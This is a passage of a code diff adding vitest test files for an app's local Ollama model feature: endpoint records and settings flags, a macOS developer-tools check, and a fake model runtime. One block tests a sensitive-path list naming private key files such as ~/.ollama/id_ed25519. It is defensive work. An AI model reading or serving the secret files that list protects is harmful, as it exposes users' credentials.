+  it('never throws: a store that does not parse is left alone', async () => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {});
+    writeFileSync(HOSTS(), '{broken');
+    expect(await ensureLocalEndpoint(INPUT)).toBe(false);
+    expect(readFileSync(HOSTS(), 'utf8')).toBe('{broken');
+  });
+});
+
+describe('disconnectLocalModel', () => {
+  it('removes our record and switches the flag off again when this feature switched it on and no other endpoint is left', async () => {
+    writeHosts([RECORD]);
+    writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
+    await disconnectLocalModel({ flagWasEnabled: false });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([]);
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 });
+  });
+
+  it('leaves the flag on when it was on before this feature', async () => {
+    writeHosts([RECORD]);
+    writeSettings({ customModelEndpointsEnabled: true });
+    await disconnectLocalModel({ flagWasEnabled: true });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([]);
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
+  });
+
+  it('leaves the flag on when another endpoint is still saved, although this feature switched it on', async () => {
+    writeHosts([OTHER, RECORD]);
+    writeSettings({ customModelEndpointsEnabled: true });
+    await disconnectLocalModel({ flagWasEnabled: false });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
+  });
+
+  it('leaves the flag on when it was on before AND another endpoint is saved', async () => {
+    writeHosts([RECORD, OTHER]);
+    writeSettings({ customModelEndpointsEnabled: true });
+    await disconnectLocalModel({ flagWasEnabled: true });
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
+  });
+
+  it('is idempotent: a second call changes nothing, and a flag somebody switched off stays off', async () => {
+    writeHosts([RECORD]);
+    writeSettings({ customModelEndpointsEnabled: true });
+    await disconnectLocalModel({ flagWasEnabled: false });
+    const hosts = readFileSync(HOSTS(), 'utf8');
+    const settings = readFileSync(SETTINGS_PATH, 'utf8');
+    await disconnectLocalModel({ flagWasEnabled: false });
+    expect(readFileSync(HOSTS(), 'utf8')).toBe(hosts);
+    expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settings);
+  });
+
+  it('with nothing saved at all it writes neither file', async () => {
+    await disconnectLocalModel({ flagWasEnabled: false });
+    expect(existsSync(HOSTS())).toBe(false);
+    expect(existsSync(SETTINGS_PATH)).toBe(false);
+  });
+
+  it('rejects when the endpoint store must not be overwritten, and leaves the flag alone', async () => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {});
+    writeFileSync(HOSTS(), '{broken');
+    writeSettings({ customModelEndpointsEnabled: true });
+    await expect(disconnectLocalModel({ flagWasEnabled: false })).rejects.toThrow('custom-model-hosts.json');
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
+  });
+
+  it('connect then disconnect leaves the data dir as it was found', async () => {
+    writeHosts([OTHER]);
+    writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
+    const connected = await connectLocalModel({ ...INPUT, ours: false });
+    expect(connected).toEqual({ ok: true, flagWasEnabled: true });
+    await disconnectLocalModel({ flagWasEnabled: true });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
+  });
+});
+
+describe('the reserved id and the managed record', () => {
+  it('isLocalModelEndpointId is an exact match', () => {
+    expect(isLocalModelEndpointId('local-ollama')).toBe(true);
+    for (const id of ['Local-Ollama', 'local-ollama ', 'local-ollama-2', 'ollama', '']) {
+      expect(isLocalModelEndpointId(id)).toBe(false);
+    }
+  });
+
+  it('a record with the reserved id is managed only while the state file records it as ours', async () => {
+    // No state file: somebody made that record by hand.
+    expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
+    const installed = {
+      schema: 1,
+      state: 'installed',
+      model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
+      cli: { id: 'opencode', label: 'OpenCode' },
+      runtime: { version: '0.40.15', port: 11435, enabled: true },
+    };
+    writeFileSync(STATE(), JSON.stringify(installed));
+    expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
+    writeFileSync(
+      STATE(),
+      JSON.stringify({ ...installed, connection: { endpointId: 'local-ollama', flagWasEnabled: false } })
+    );
+    expect(await isManagedLocalEndpoint('local-ollama')).toBe(true);
+    // Any other id is never managed, whatever the state file says.
+    expect(await isManagedLocalEndpoint('office-gpu')).toBe(false);
+  });
+});
+
+describe('sessionNamesUsingEndpoint', () => {
+  const sessions = [
+    { name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
+    { name: 'w2-app' },
+    { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
+    { name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
+  ];
+
+  it('names the sessions on our endpoint, in the order given', () => {
+    expect(sessionNamesUsingEndpoint(sessions)).toEqual(['w1-app', 'w4-lib']);
+  });
+
+  it('takes any iterable and another endpoint id', () => {
+    expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']);
+    expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]);
+  });
+});
+
+describe('compareModelDigest', () => {
+  const digest = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
+
+  it('same digest, same model', () => {
+    expect(compareModelDigest(digest, digest)).toBe('same');
+  });
+
+  it('a prefix or another letter case is not a change', () => {
+    expect(compareModelDigest(digest, `sha256:${digest}`)).toBe('same');
+    expect(compareModelDigest(digest.toUpperCase(), ` ${digest} `)).toBe('same');
+  });
+
+  it('another digest under the same name is a change', () => {
+    expect(compareModelDigest(digest, digest.replace(/^0/, '1'))).toBe('changed');
+    expect(compareModelDigest(digest, digest.slice(0, 12))).toBe('changed');
+  });
+
+  it('is unknown when either side is absent or empty', () => {
+    expect(compareModelDigest(undefined, digest)).toBe('unknown');
+    expect(compareModelDigest(digest, undefined)).toBe('unknown');
+    expect(compareModelDigest('', digest)).toBe('unknown');
+    expect(compareModelDigest(digest, 'sha256:')).toBe('unknown');
+    expect(compareModelDigest(undefined, undefined)).toBe('unknown');
+  });
+});
+
+describe('a record that says what ours would say is ours', () => {
+  it('isSameLocalEndpoint: the address, the one model, its context and no key', () => {
+    expect(isSameLocalEndpoint(RECORD, INPUT)).toBe(true);
+    // What discovery may have added does not make it somebody else's.
+    expect(
+      isSameLocalEndpoint(
+        { ...RECORD, modelContextLengths: { 'qwen3.6:35b-a3b': 131072 }, lastDiscoveredAt: '2026-11-06T10:00:00Z' },
+        INPUT
+      )
+    ).toBe(true);
+    const differs: Partial<CustomModelHost>[] = [
+      { baseUrl: 'http://127.0.0.1:11434' },
+      { label: 'My own' },
+      { models: ['qwen3.6:35b-a3b', 'gpt-oss:20b'] },
+      { models: ['gpt-oss:20b'], defaultModelId: 'gpt-oss:20b' },
+      { defaultContextLength: 65536 },
+      { apiKey: 'sk-not-ours' },
+      { authStyle: 'api-key' },
+    ];
+    for (const change of differs) expect(isSameLocalEndpoint({ ...RECORD, ...change }, INPUT)).toBe(false);
+  });
+
+  it('connectLocalModel takes such a record as ours although the caller did not say so', async () => {
+    writeSettings({});
+    writeHosts([OTHER, RECORD]);
+    expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: true, flagWasEnabled: false });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
+  });
+
+  it('a record with our id that says something else is still somebody else: taken, and untouched', async () => {
+    const foreign = { ...RECORD, baseUrl: 'http://127.0.0.1:11434' };
+    writeHosts([foreign]);
+    expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: false, code: 'endpoint-id-taken' });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([foreign]);
+  });
+});
+
+describe('inspectLocalEndpoint: what the connect step finds before it claims the connection', () => {
+  it('nothing saved and no settings file: absent, and the flag is off', async () => {
+    expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: false });
+  });
+
+  it('reads the flag as it is now, and writes nothing', async () => {
+    writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
+    writeHosts([OTHER]);
+    const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
+    const hostsBefore = readFileSync(HOSTS(), 'utf8');
+    expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: true });
+    expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
+    expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
+  });
+
+  it("tells our record from somebody else's under the same id", async () => {
+    writeHosts([RECORD]);
+    expect((await inspectLocalEndpoint(INPUT)).record).toBe('same');
+    expect((await inspectLocalEndpoint({ ...INPUT, port: 11436 })).record).toBe('other');
+  });
+});
+
+describe('moveLocalEndpoint', () => {
+  it('a record that is already on the port is not written again', async () => {
+    writeHosts([RECORD]);
+    const before = readFileSync(HOSTS(), 'utf8');
+    await moveLocalEndpoint(11435);
+    expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
+    await moveLocalEndpoint(11440);
+    expect((await readCustomModelHosts(getDataDir()))[0].baseUrl).toBe('http://127.0.0.1:11440');
+  });
+});
+
+describe('the runtime keeps a private key that is never served', () => {
+  it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => {
+    const home = join(getDataDir(), 'local-model', 'home');
+    expect(isSensitivePath(join(home, '.ollama', 'id_ed25519'))).toBe(true);
+    expect(isSensitivePath(join(home, '.ollama', 'id_ed25519.pub'))).toBe(true);
+    expect(isSensitivePath('/Users/me/.codeman-beta/local-model/home/.ollama/server.json')).toBe(true);
+    expect(isSensitivePath('/Users/me/.ollama/id_ed25519')).toBe(true);
+  });
+
+  it('the model store and the state file hold no secret and stay ordinary files', () => {
+    expect(isSensitivePath(join(getDataDir(), 'local-model', 'models', 'manifest'))).toBe(false);
+    expect(isSensitivePath('/Users/me/.ollama/models/blobs/sha256-abc')).toBe(false);
+  });
+});

test/local-model-developer-tools.test.ts

@@ -0,0 +1,153 @@
+/**
+ * @fileoverview Tests for src/local-model/developer-tools.ts: whether this Mac has the
+ * developer tools a coding agent calls.
+ *
+ * Pinned: the ONLY command it ever runs is `/usr/bin/xcode-select -p` (never `git` or
+ * `python3`, which open a system window on a Mac without the tools), with a timeout; exit 0
+ * is `present`, any other exit is `missing`, no answer is `unknown`; off macOS nothing is run
+ * at all; nothing it is given can make it throw; and an answer is reused for a minute, so a
+ * window that polls once a second does not spawn once a second.
+ *
+ * Port: N/A (the runner is injected; nothing is spawned).
+ */
+
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import {
+  checkDeveloperTools,
+  createDeveloperToolsCheck,
+  DEVELOPER_TOOLS_TIMEOUT_MS,
+  resetDeveloperToolsCache,
+} from '../src/local-model/developer-tools.js';
+
+type Run = (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>;
+
+/** A runner that answers `code` and records how it was called. */
+function runner(code: number | null): { run: Run; calls: [string, readonly string[], number][] } {
+  const calls: [string, readonly string[], number][] = [];
+  return {
+    calls,
+    run: async (file, args, timeoutMs) => {
+      calls.push([file, args, timeoutMs]);
+      return code;
+    },
+  };
+}
+
+afterEach(() => {
+  resetDeveloperToolsCache();
+  vi.restoreAllMocks();
+});
+
+describe('checkDeveloperTools', () => {
+  it('runs exactly one command: /usr/bin/xcode-select -p, bounded', async () => {
+    const { run, calls } = runner(0);
+    expect(await checkDeveloperTools({ platform: 'darwin', run })).toBe('present');
+    expect(calls).toEqual([['/usr/bin/xcode-select', ['-p'], DEVELOPER_TOOLS_TIMEOUT_MS]]);
+    expect(DEVELOPER_TOOLS_TIMEOUT_MS).toBe(2_000);
+  });
+
+  it('never names git, python or xcrun, whatever the answer is', async () => {
+    for (const code of [0, 1, 2, null]) {
+      const { run, calls } = runner(code);
+      await checkDeveloperTools({ platform: 'darwin', run });
+      expect(calls).toHaveLength(1);
+      expect(calls[0][0]).toBe('/usr/bin/xcode-select');
+      expect(JSON.stringify(calls)).not.toMatch(/git|python|xcrun/);
+    }
+  });
+
+  it('reads exit 0 as present and any other exit as missing', async () => {
+    expect(await checkDeveloperTools({ platform: 'darwin', run: runner(0).run })).toBe('present');
+    // A Mac without the tools: "unable to get active developer directory", exit 2.
+    expect(await checkDeveloperTools({ platform: 'darwin', run: runner(2).run })).toBe('missing');
+    expect(await checkDeveloperTools({ platform: 'darwin', run: runner(1).run })).toBe('missing');
+    expect(await checkDeveloperTools({ platform: 'darwin', run: runner(127).run })).toBe('missing');
+  });
+
+  it('reads no answer as unknown: a timeout, a command that could not be started, a runner that throws', async () => {
+    expect(await checkDeveloperTools({ platform: 'darwin', run: runner(null).run })).toBe('unknown');
+    const throwing: Run = async () => {
+      throw new Error('spawn EACCES');
+    };
+    expect(await checkDeveloperTools({ platform: 'darwin', run: throwing })).toBe('unknown');
+    // An exit code that is no whole number is no answer either.
+    expect(await checkDeveloperTools({ platform: 'darwin', run: runner(Number.NaN).run })).toBe('unknown');
+  });
+
+  it('runs nothing off macOS and answers unknown', async () => {
+    for (const platform of ['linux', 'win32', 'freebsd']) {
+      const { run, calls } = runner(0);
+      expect(await checkDeveloperTools({ platform, run }), platform).toBe('unknown');
+      expect(calls).toEqual([]);
+    }
+  });
+
+  it('spawns nothing with the default runner under vitest', async () => {
+    // The real `execFile` is never reached here: on a Mac this would otherwise run the command.
+    expect(await checkDeveloperTools({ platform: 'darwin' })).toBe('unknown');
+    // And with no argument at all it answers for this machine without throwing.
+    expect(['present', 'missing', 'unknown']).toContain(await checkDeveloperTools());
+  });
+});
+
+describe('the cached check', () => {
+  it('reuses an answer for a minute, then asks again', async () => {
+    const { run, calls } = runner(2);
+    let clock = 1_000_000;
+    const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => clock });
+    expect(await check()).toBe('missing');
+    // A window that polls once a second for a minute.
+    for (let second = 1; second < 60; second++) {
+      clock += 1_000;
+      expect(await check()).toBe('missing');
+    }
+    expect(calls).toHaveLength(1);
+    clock += 1_000;
+    expect(await check()).toBe('missing');
+    expect(calls).toHaveLength(2);
+  });
+
+  it('shares one run among callers that ask at the same time', async () => {
+    let release: (code: number) => void = () => undefined;
+    let started = 0;
+    const run: Run = () => {
+      started += 1;
+      return new Promise((resolve) => {
+        release = resolve;
+      });
+    };
+    const check = createDeveloperToolsCheck({ platform: 'darwin', run });
+    const asked = [check(), check(), check()];
+    await Promise.resolve();
+    expect(started).toBe(1);
+    release(0);
+    expect(await Promise.all(asked)).toEqual(['present', 'present', 'present']);
+  });
+
+  it('does not remember "unknown": a check that did not work is tried again', async () => {
+    let calls = 0;
+    // No answer the first time, exit 0 from then on.
+    const run: Run = async () => (calls++ === 0 ? null : 0);
+    const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => 5 });
+    expect(await check()).toBe('unknown');
+    expect(await check()).toBe('present');
+    expect(await check()).toBe('present');
+    expect(calls).toBe(2);
+  });
+
+  it('sees the tools once they were installed, after the minute', async () => {
+    const answers = [2, 0];
+    let calls = 0;
+    let clock = 0;
+    const check = createDeveloperToolsCheck({
+      platform: 'darwin',
+      run: async () => answers[calls++] ?? 0,
+      now: () => clock,
+    });
+    expect(await check()).toBe('missing');
+    clock = 59_999;
+    expect(await check()).toBe('missing');
+    clock = 60_000;
+    expect(await check()).toBe('present');
+  });
+});

test/local-model-fake-ollama.test.ts

@@ -0,0 +1,428 @@
+/**
+ * @fileoverview Tests for test/fixtures/fake-ollama.ts, the fake model runtime every local
+ * model test runs against. A fake that answers in the wrong shape makes every test built on
+ * it prove nothing, so this file pins each answer and each switch once.
+ *
+ * It also shows how the fake is used: `startFakeOllama()` for a client test, and
+ * `createFakeOllama()` plus `fake.spawn` and `freeLoopbackPort()` for a supervisor test.
+ *
+ * Port: none fixed (the fake listens on 0; the spawn test reserves a free port first).
+ */
+
+import { execFile } from 'node:child_process';
+import { createHash } from 'node:crypto';
+import { mkdtemp, readFile, rm, stat, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { promisify } from 'node:util';
+import { afterEach, describe, expect, it } from 'vitest';
+import {
+  buildFakeArchive,
+  createFakeOllama,
+  DEFAULT_FAKE_MODEL,
+  fakeRuntimeLog,
+  FakeRuntimeChild,
+  freeLoopbackPort,
+  INFERENCE_COMPUTE_LINE_MACBOOK,
+  MACBOOK_MEASURED_TOTAL_BYTES,
+  REAL_INFERENCE_COMPUTE_LINE_MAC_MINI,
+  REAL_PULL_ERROR_LINE,
+  startFakeOllama,
+  type FakeOllama,
+} from './fixtures/fake-ollama.js';
+
+const execFileAsync = promisify(execFile);
+
+let fake: FakeOllama | undefined;
+
+afterEach(async () => {
+  await fake?.close();
+  fake = undefined;
+});
+
+/** Every line of a pull, parsed. `cut` is true when the body ended in an error instead of a clean end. */
+async function pull(target: FakeOllama, modelId = DEFAULT_FAKE_MODEL.id): Promise<{ lines: any[]; cut: boolean }> {
+  const res = await fetch(`${target.baseUrl}/api/pull`, {
+    method: 'POST',
+    headers: { 'content-type': 'application/json' },
+    body: JSON.stringify({ model: modelId, stream: true }),
+  });
+  let text = '';
+  let cut = false;
+  const decoder = new TextDecoder();
+  try {
+    for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) {
+      text += decoder.decode(chunk, { stream: true });
+    }
+  } catch {
+    cut = true;
+  }
+  const lines = text
+    .split('\n')
+    .filter((line) => line.trim() !== '')
+    .map((line) => JSON.parse(line));
+  return { lines, cut };
+}
+
+async function getJson(target: FakeOllama, path: string): Promise<any> {
+  return (await fetch(`${target.baseUrl}${path}`)).json();
+}
+
+async function chat(target: FakeOllama, body: Record<string, unknown>): Promise<{ status: number; json: any }> {
+  const res = await fetch(`${target.baseUrl}/v1/chat/completions`, {
+    method: 'POST',
+    headers: { 'content-type': 'application/json' },
+    body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, messages: [{ role: 'user', content: 'ping' }], ...body }),
+  });
+  return { status: res.status, json: await res.json() };
+}
+
+const TOOLS = [
+  {
+    type: 'function',
+    function: {
+      name: 'read_file',
+      description: 'Read a file',
+      parameters: { type: 'object', properties: { path: { type: 'string' } }, required: ['path'] },
+    },
+  },
+];
+
+describe('the fake runtime: listings', () => {
+  it('answers the version and an empty store in the real shapes', async () => {
+    fake = await startFakeOllama();
+    expect(fake.port).toBeGreaterThan(0);
+    expect(await (await fetch(`${fake.baseUrl}/`)).text()).toBe('Ollama is running');
+    expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' });
+    expect(await getJson(fake, '/api/tags')).toEqual({ models: [] });
+    expect(await getJson(fake, '/api/ps')).toEqual({ models: [] });
+    // The real runtime answers `data: null`, not an empty list, when it has no model.
+    expect(await getJson(fake, '/v1/models')).toEqual({ object: 'list', data: null });
+  });
+
+  it('lists an installed model with the digest, format and runner a Mac reports', async () => {
+    fake = await startFakeOllama({ installed: true });
+    const tags = await getJson(fake, '/api/tags');
+    expect(tags.models).toHaveLength(1);
+    expect(tags.models[0]).toMatchObject({
+      name: 'qwen3.6:35b-a3b',
+      size: 23_105_798_956,
+      digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
+      details: { format: 'safetensors', quantization_level: 'nvfp4', runner: 'mlx' },
+      capabilities: ['completion', 'vision', 'tools', 'thinking'],
+    });
+    expect((await getJson(fake, '/v1/models')).data.map((m: { id: string }) => m.id)).toEqual(['qwen3.6:35b-a3b']);
+  });
+
+  it('records every request with its parsed body', async () => {
+    fake = await startFakeOllama({ installed: true });
+    await chat(fake, { reasoning_effort: 'none', max_tokens: 16 });
+    expect(fake.requests.at(-1)).toMatchObject({
+      method: 'POST',
+      path: '/v1/chat/completions',
+      body: { model: 'qwen3.6:35b-a3b', reasoning_effort: 'none', max_tokens: 16 },
+    });
+  });
+});
+
+describe('the fake runtime: pull', () => {
+  it('streams the MLX line shape of a Mac and installs the model', async () => {
+    fake = await startFakeOllama({ pull: { progressLines: 4 } });
+    const { lines, cut } = await pull(fake);
+    expect(cut).toBe(false);
+    expect(lines[0]).toEqual({ status: 'pulling manifest' });
+    expect(lines[1]).toEqual({ status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 0 });
+    expect(lines.slice(-3)).toEqual([
+      { status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 23_105_798_956 },
+      { status: 'writing manifest' },
+      { status: 'success' },
+    ]);
+    const completed = lines.filter((l) => l.status === 'pulling model').map((l) => l.completed);
+    expect(completed).toEqual([...completed].sort((a, b) => a - b));
+    expect(fake.state.installed).toBe(true);
+    expect((await getJson(fake, '/api/tags')).models).toHaveLength(1);
+  });
+
+  it('streams as many progress lines as asked for', async () => {
+    fake = await startFakeOllama({ pull: { progressLines: 5000 } });
+    const { lines } = await pull(fake);
+    expect(lines.filter((l) => l.status === 'pulling model')).toHaveLength(5001);
+  });
+
+  it('streams the GGUF shape: layers that announce themselves, then the digest check', async () => {
+    fake = await startFakeOllama({ pull: { shape: 'gguf', progressLines: 2 } });
+    const { lines } = await pull(fake);
+    const large = `sha256:${DEFAULT_FAKE_MODEL.digest}`;
+    // The first line of a layer has no `completed`.
+    expect(lines[1]).toEqual({ status: 'pulling 0ce5ff81f9ff', digest: large, total: 23_105_798_956 - 13_383 });
+    expect(lines.map((l) => l.status).slice(-3)).toEqual(['verifying sha256 digest', 'writing manifest', 'success']);
+    // The totals of all layers add up to the model.
+    const totals = new Map<string, number>();
+    for (const l of lines) if (l.digest) totals.set(l.digest, l.total);
+    expect([...totals.values()].reduce((a, b) => a + b, 0)).toBe(23_105_798_956);
+  });
+
+  it('ends on the real error line, then resumes where it stopped and succeeds', async () => {
+    fake = await startFakeOllama({ pull: { fail: 'error-line', failAfterLines: 3, failTimes: 1, progressLines: 6 } });
+    const first = await pull(fake);
+    expect(first.cut).toBe(false);
+    expect(JSON.stringify(first.lines.at(-1))).toBe(REAL_PULL_ERROR_LINE);
+    expect(first.lines.some((l) => l.status === 'success')).toBe(false);
+    expect(fake.state.installed).toBe(false);
+    const reached = fake.state.completedBytes;
+    expect(reached).toBeGreaterThan(0);
+
+    const second = await pull(fake);
+    // A resumed pull's first progress line starts at what is already on disk.
+    expect(second.lines[1].completed).toBe(reached);
+    expect(second.lines.at(-1)).toEqual({ status: 'success' });
+    expect(fake.state.pulls).toBe(2);
+  });
+
+  it('cuts the stream without a last line', async () => {
+    fake = await startFakeOllama({ pull: { fail: 'cut', failAfterLines: 2 } });
+    const { lines, cut } = await pull(fake);
+    expect(cut).toBe(true);
+    expect(lines.some((l) => l.status === 'success' || l.error)).toBe(false);
+    expect(fake.state.installed).toBe(false);
+  });
+
+  it('starts a first pull at resumeFrom', async () => {
+    fake = await startFakeOllama({ pull: { resumeFrom: 197_411_434, progressLines: 2 } });
+    const { lines } = await pull(fake);
+    expect(lines[1].completed).toBe(197_411_434);
+  });
+
+  it('says so when the registry has no such model', async () => {
+    fake = await startFakeOllama();
+    const unknown = await pull(fake, 'no-such:1b');
+    expect(unknown.lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' });
+    fake.switches.pull.fail = 'not-found';
+    expect((await pull(fake)).lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' });
+  });
+
+  it('stops sending when the client aborts, and remembers how far it got', async () => {
+    fake = await startFakeOllama({ pull: { progressLines: 200, lineDelayMs: 5 } });
+    const controller = new AbortController();
+    const res = await fetch(`${fake.baseUrl}/api/pull`, {
+      method: 'POST',
+      body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, stream: true }),
+      signal: controller.signal,
+    });
+    const reader = res.body!.getReader();
+    await reader.read();
+    controller.abort();
+    await reader.read().catch(() => undefined);
+    await new Promise((resolve) => setTimeout(resolve, 50));
+    const reached = fake.state.completedBytes;
+    expect(fake.state.installed).toBe(false);
+    expect(reached).toBeLessThan(23_105_798_956);
+    await new Promise((resolve) => setTimeout(resolve, 50));
+    expect(fake.state.completedBytes).toBe(reached);
+  });
+
+  it('deletes the model', async () => {
+    fake = await startFakeOllama({ installed: true });
+    const del = (): Promise<Response> =>
+      fetch(`${fake!.baseUrl}/api/delete`, {
+        method: 'DELETE',
+        body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id }),
+      });
+    expect((await del()).status).toBe(200);
+    expect(fake.state.installed).toBe(false);
+    expect((await del()).status).toBe(404);
+  });
+});
+
+describe('the fake runtime: chat, the process list and the tool probe', () => {
+  it('answers a plain chat and lists the model as loaded, all on the GPU', async () => {
+    fake = await startFakeOllama({ installed: true });
+    expect((await getJson(fake, '/api/ps')).models).toEqual([]);
+    const { status, json } = await chat(fake, { reasoning_effort: 'none' });
+    expect(status).toBe(200);
+    expect(json.choices[0]).toEqual({
+      index: 0,
+      message: { role: 'assistant', content: 'pong' },
+      finish_reason: 'stop',
+    });
+    const [loaded] = (await getJson(fake, '/api/ps')).models;
+    expect(loaded).toMatchObject({ name: 'qwen3.6:35b-a3b', context_length: 131072, runner: 'mlx' });
+    expect(loaded.size_vram).toBe(loaded.size);
+  });
+
+  it('can report a model that is partly off the GPU, or loaded at another context', async () => {
+    fake = await startFakeOllama({ installed: true, ps: { size: 30e9, sizeVram: 20e9 } });
+    await chat(fake, {});
+    expect((await getJson(fake, '/api/ps')).models[0]).toMatchObject({ size: 30e9, size_vram: 20e9 });
+    fake.switches.ps = { contextLength: 32768 };
+    expect((await getJson(fake, '/api/ps')).models[0].context_length).toBe(32768);
+    fake.switches.ps = { loaded: false };
+    expect((await getJson(fake, '/api/ps')).models).toEqual([]);
+  });
+
+  it('answers 404 in the real error shape for a model it does not have', async () => {
+    fake = await startFakeOllama();
+    const { status, json } = await chat(fake, {});
+    expect(status).toBe(404);
+    expect(json).toEqual({
+      error: { message: "model 'qwen3.6:35b-a3b' not found", type: 'not_found_error', param: null, code: null },
+    });
+  });
+
+  it('can fail the chat that loads the model', async () => {
+    fake = await startFakeOllama({ installed: true, chat: 'error' });
+    expect((await chat(fake, {})).status).toBe(500);
+    expect((await getJson(fake, '/api/ps')).models).toEqual([]);
+  });
+
+  it('calls the tool it was given, with arguments that parse', async () => {
+    fake = await startFakeOllama({ installed: true });
+    const { json } = await chat(fake, { tools: TOOLS, reasoning_effort: 'none', max_tokens: 1024 });
+    const choice = json.choices[0];
+    expect(choice.finish_reason).toBe('tool_calls');
+    expect(choice.message.tool_calls).toHaveLength(1);
+    expect(choice.message.tool_calls[0]).toMatchObject({ type: 'function', function: { name: 'read_file' } });
+    expect(JSON.parse(choice.message.tool_calls[0].function.arguments)).toEqual({ path: 'README.md' });
+  });
+
+  it('can answer without a tool call, run into the token limit, or send arguments that do not parse', async () => {
+    fake = await startFakeOllama({ installed: true, tool: 'none' });
+    let choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
+    expect(choice.finish_reason).toBe('stop');
+    expect(choice.message.tool_calls).toBeUndefined();
+
+    fake.switches.tool = 'length';
+    choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
+    expect(choice.finish_reason).toBe('length');
+    expect(choice.message.content).toBe('');
+    expect(choice.message.tool_calls).toBeUndefined();
+
+    fake.switches.tool = 'bad-arguments';
+    choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
+    expect(() => JSON.parse(choice.message.tool_calls[0].function.arguments)).toThrow();
+  });
+});
+
+describe('the fake runtime: the archive', () => {
+  it('serves an archive whose size and hash are the pin it hands out', async () => {
+    fake = await startFakeOllama();
+    const pin = fake.pin();
+    expect(pin.url).toBe(`${fake.baseUrl}/download/ollama-darwin.tgz`);
+    const res = await fetch(pin.url);
+    const body = Buffer.from(await res.arrayBuffer());
+    expect(res.status).toBe(200);
+    expect(body.length).toBe(pin.bytes);
+    expect(createHash('sha256').update(body).digest('hex')).toBe(pin.sha256);
+  });
+
+  it('continues from a Range request', async () => {
+    fake = await startFakeOllama();
+    const res = await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } });
+    expect(res.status).toBe(206);
+    expect(res.headers.get('content-range')).toBe(`bytes 10-${fake.archive.size - 1}/${fake.archive.size}`);
+    expect(Buffer.from(await res.arrayBuffer()).equals(fake.archive.body.subarray(10))).toBe(true);
+    expect((await fetch(fake.pin().url, { headers: { range: `bytes=${fake.archive.size}-` } })).status).toBe(416);
+  });
+
+  it('cuts the body the first time only, so a Range request can finish it', async () => {
+    fake = await startFakeOllama({ archive: { cutAfterBytes: 20 } });
+    const first = await fetch(fake.pin().url);
+    const got: Buffer[] = [];
+    await (async () => {
+      for await (const chunk of first.body as unknown as AsyncIterable<Uint8Array>) got.push(Buffer.from(chunk));
+    })().catch(() => undefined);
+    const head = Buffer.concat(got);
+    expect(head.length).toBe(20);
+    const rest = await fetch(fake.pin().url, { headers: { range: 'bytes=20-' } });
+    const whole = Buffer.concat([head, Buffer.from(await rest.arrayBuffer())]);
+    expect(createHash('sha256').update(whole).digest('hex')).toBe(fake.archive.sha256);
+    expect(fake.state.archiveRequests).toBe(2);
+  });
+
+  it('can ignore Range, or answer another status', async () => {
+    fake = await startFakeOllama({ archive: { ignoreRange: true } });
+    expect((await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } })).status).toBe(200);
+    fake.switches.archive.status = 503;
+    expect((await fetch(fake.pin().url)).status).toBe(503);
+  });
+
+  it('is a real archive that tar unpacks to an executable', async () => {
+    const dir = await mkdtemp(join(tmpdir(), 'fake-ollama-archive-'));
+    try {
+      const archive = join(dir, 'runtime.tgz');
+      await writeFile(archive, buildFakeArchive({ ollama: '#!/bin/sh\necho hello\n', LICENSE: 'text\n' }));
